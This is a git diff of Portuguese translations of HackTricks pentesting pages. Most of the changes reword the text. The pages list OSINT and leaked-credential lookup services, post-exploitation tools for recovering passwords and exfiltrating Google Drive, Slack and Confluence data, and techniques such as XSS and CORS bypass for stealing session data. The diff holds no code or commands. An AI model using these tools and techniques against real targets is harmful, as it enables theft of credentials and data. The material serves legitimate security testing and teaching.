\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.\ -Acesse hoje: +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ +Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 6e36daed3..f961a320f 100644 --- a/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -1,6 +1,6 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -36,7 +36,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Supporte o HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/online-platforms-with-api.md b/online-platforms-with-api.md index 706e018b8..c84a4164c 100644 --- a/online-platforms-with-api.md +++ b/online-platforms-with-api.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -30,11 +30,11 @@ Comercial? # [AlientVault](https://otx.alienvault.com/api) -Encontre atividades maliciosas relacionadas a IPs e Domínios. Gratuito. +Encontre atividades maliciosas relacionadas a IPs e Domínios. Grátis. # [Clearbit](https://dashboard.clearbit.com/) -Encontre dados pessoais relacionados a um e-mail \(perfis em outras plataformas\), domínio \(informações básicas da empresa, e-mails e pessoas trabalhando\) e empresas \(obtenha informações da empresa a partir do e-mail\). +Encontre dados pessoais relacionados a um e-mail \(perfis em outras plataformas\), domínio \(informações básicas da empresa, e-mails e pessoas que trabalham\) e empresas \(obtenha informações da empresa a partir do e-mail\). Você precisa pagar para acessar todas as possibilidades. Comercial? @@ -45,20 +45,20 @@ Comercial? # [Fraudguard](https://fraudguard.io/) -Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Possui algum acesso gratuito à API. +Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Tem algum acesso gratuito à API. Comercial? # [FortiGuard](https://fortiguard.com/) -Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Possui algum acesso gratuito à API. +Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Tem algum acesso gratuito à API. # [SpamCop](https://www.spamcop.net/) -Indica se o host está relacionado a atividade de spam. Possui algum acesso gratuito à API. +Indica se o host está relacionado a atividades de spam. Tem algum acesso gratuito à API. # [mywot](https://www.mywot.com/) -Com base em opiniões e outras métricas, descubra se um domínio está relacionado a informações suspeitas/maliciosas. +Com base em opiniões e outras métricas, verifique se um domínio está relacionado a informações suspeitas/maliciosas. # [ipinfo](https://ipinfo.io/) @@ -66,7 +66,7 @@ Obtém informações básicas de um endereço IP. Você pode testar até 100K/m # [securitytrails](https://securitytrails.com/app/account) -Esta plataforma fornece informações sobre domínios e endereços IP, como domínios dentro de um IP ou dentro de um servidor de domínio, domínios de propriedade de um e-mail \(encontre domínios relacionados\), histórico de IP de domínios \(encontre o host por trás do CloudFlare\), todos os domínios usando um servidor de nomes.... +Esta plataforma fornece informações sobre domínios e endereços IP, como domínios dentro de um IP ou dentro de um servidor de domínio, domínios possuídos por um e-mail \(encontrar domínios relacionados\), histórico de IP de domínios \(encontrar o host por trás do CloudFlare\), todos os domínios usando um nameserver.... Você tem algum acesso gratuito. # [fullcontact](https://www.fullcontact.com/) @@ -75,11 +75,11 @@ Permite pesquisar por e-mail, domínio ou nome da empresa e recuperar informaç # [RiskIQ](https://www.spiderfoot.net/documentation/) -Muitas informações de domínios e IPs, mesmo na versão gratuita/comunitária. +Muita informação de domínios e IPs, mesmo na versão gratuita/comunitária. # [\_IntelligenceX](https://intelx.io/) -Pesquise Domínios, IPs e e-mails e obtenha informações de dumps. Possui algum acesso gratuito. +Pesquise Domínios, IPs e e-mails e obtenha informações de dumps. Tem algum acesso gratuito. # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) @@ -87,15 +87,15 @@ Pesquise por IP e reúna informações relacionadas a atividades suspeitas. Há # [Greynoise](https://viz.greynoise.io/) -Pesquise por IP ou intervalo de IP e obtenha informações sobre IPs que escaneiam a Internet. Acesso gratuito por 15 dias. +Pesquise por IP ou intervalo de IP e obtenha informações sobre IPs que estão escaneando a Internet. 15 dias de acesso gratuito. # [Shodan](https://www.shodan.io/) -Obtenha informações de varredura de um endereço IP. Possui algum acesso gratuito à API. +Obtenha informações de escaneamento de um endereço IP. Tem algum acesso gratuito à API. # [Censys](https://censys.io/) -Muito semelhante ao shodan +Muito semelhante ao shodan. # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) @@ -103,7 +103,7 @@ Encontre buckets S3 abertos pesquisando por palavra-chave. # [Dehashed](https://www.dehashed.com/data) -Encontre credenciais vazadas de e-mails e até domínios +Encontre credenciais vazadas de e-mails e até mesmo domínios. Comercial? # [psbdmp](https://psbdmp.ws/) @@ -120,14 +120,31 @@ Obtenha senhas de e-mails vazados. Comercial? # [Binaryedge](https://www.binaryedge.io/) -Obtenha informações interessantes de IPs +Obtenha informações interessantes de IPs. # [haveibeenpwned](https://haveibeenpwned.com/) -Pesquise por domínio e e-mail e veja se foi comprometido e senhas. Comercial? +Pesquise por domínio e e-mail e verifique se foi pwned e senhas. Comercial? [https://dnsdumpster.com/](https://dnsdumpster.com/)\(em uma ferramenta comercial?\) [https://www.netcraft.com/](https://www.netcraft.com/) \(em uma ferramenta comercial?\) [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(em uma ferramenta comercial?\) + + + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/other-web-tricks.md b/other-web-tricks.md index 70de9f255..63fb73542 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -19,7 +19,7 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -18,4 +18,21 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/post-exploitation.md b/post-exploitation.md index ea22080ec..7c1652a1e 100644 --- a/post-exploitation.md +++ b/post-exploitation.md @@ -1,28 +1,28 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## **Loot Local** +## **Local l00t** -* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Esses scripts, além de procurar vetores PE, procurarão informações sensíveis dentro do sistema de arquivos. -* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): O projeto **LaZagne** é um aplicativo de código aberto usado para **recuperar muitas senhas** armazenadas em um computador local. Cada software armazena suas senhas usando técnicas diferentes (texto simples, APIs, algoritmos personalizados, bancos de dados, etc.). Esta ferramenta foi desenvolvida com o propósito de encontrar essas senhas para os softwares mais comumente usados. +* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Esses scripts, além de procurar por vetores PE, procurarão informações sensíveis dentro do sistema de arquivos. +* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): O **projeto LaZagne** é uma aplicação de código aberto usada para **recuperar muitas senhas** armazenadas em um computador local. Cada software armazena suas senhas usando diferentes técnicas (texto simples, APIs, algoritmos personalizados, bancos de dados, etc.). Esta ferramenta foi desenvolvida com o propósito de encontrar essas senhas para os softwares mais comumente usados. ## **Serviços Externos** -* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este Módulo se conectará à API do Confluence usando um token de acesso, exportará para PDF e baixará os documentos do Confluence aos quais o alvo tem acesso. -* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Ferramenta Red Team para exfiltrar arquivos do Google Drive de um alvo ao qual você (o atacante) tem acesso, via API do Google Drive. Isso inclui todos os arquivos compartilhados, todos os arquivos de unidades compartilhadas e todos os arquivos de unidades de domínio aos quais o alvo tem acesso. -* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Ferramenta Red Team para exfiltrar o diretório de pessoas do Google da organização alvo ao qual você tem acesso, via API de Pessoas do Google. -* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta é uma ferramenta desenvolvida em Python que usa as APIs nativas do Slack para extrair informações 'interessantes' de um espaço de trabalho do Slack, fornecendo um token de acesso. -* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound é uma ferramenta de linha de comando para equipes vermelhas e azuis realizarem rapidamente reconhecimento de um espaço de trabalho/organização do Slack. O Slackhound torna a coleta de usuários, arquivos, mensagens, etc. de uma organização rapidamente pesquisável e objetos grandes são gravados em CSV para revisão offline. +* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará à API do Confluence usando um token de acesso, exportará para PDF e baixará os documentos do Confluence aos quais o alvo tem acesso. +* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Ferramenta da Red Team para exfiltrar arquivos do Google Drive de um alvo ao qual você (o atacante) tem acesso, via API do Google Drive. Isso inclui todos os arquivos compartilhados, todos os arquivos de unidades compartilhadas e todos os arquivos de unidades de domínio aos quais o alvo tem acesso. +* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Ferramenta da Red Team para exfiltrar o diretório de pessoas do Google da organização alvo ao qual você tem acesso, via API de Pessoas do Google. +* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta é uma ferramenta desenvolvida em Python que usa as APIs nativas do Slack para extrair informações 'interessantes' de um workspace do Slack dado um token de acesso. +* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound é uma ferramenta de linha de comando para equipes vermelhas e azuis realizarem rapidamente reconhecimento de um workspace/organização do Slack. Slackhound torna a coleta de usuários, arquivos, mensagens, etc. de uma organização rapidamente pesquisável e grandes objetos são gravados em CSV para revisão offline. diff --git a/stealing-sensitive-information-disclosure-from-a-web.md b/stealing-sensitive-information-disclosure-from-a-web.md index 257bbd27e..dbc3e0f4d 100644 --- a/stealing-sensitive-information-disclosure-from-a-web.md +++ b/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,39 +1,39 @@ -# Roubo de Divulgação de Informações Sensíveis de um Site +# Roubo de Divulgação de Informações Sensíveis de uma Web {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -Se em algum momento você encontrar uma **página da web que apresenta informações sensíveis com base em sua sessão**: talvez esteja refletindo cookies, ou imprimindo detalhes de cartão de crédito ou qualquer outra informação sensível, você pode tentar roubá-la.\ -Aqui apresento as principais maneiras de tentar alcançar isso: +Se em algum momento você encontrar uma **página da web que apresenta informações sensíveis com base na sua sessão**: Talvez esteja refletindo cookies, ou imprimindo detalhes de cartão de crédito ou qualquer outra informação sensível, você pode tentar roubá-la.\ +Aqui apresento as principais maneiras que você pode tentar alcançar isso: -* [**Bypass de CORS**](pentesting-web/cors-bypass.md): Se você puder contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa. -* [**XSS**](pentesting-web/xss-cross-site-scripting/): Se encontrar uma vulnerabilidade XSS na página, poderá abusar dela para roubar as informaçõe. -* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se não puder injetar tags XSS, ainda poderá roubar as informações usando outras tags HTML regulares. -* [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você poderá enganar o usuário para enviar a você os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +* [**CORS bypass**](pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa. +* [**XSS**](pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade XSS na página, pode ser capaz de abusar dela para roubar as informações. +* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se você não conseguir injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares. +* [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você pode ser capaz de enganar o usuário para enviar os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}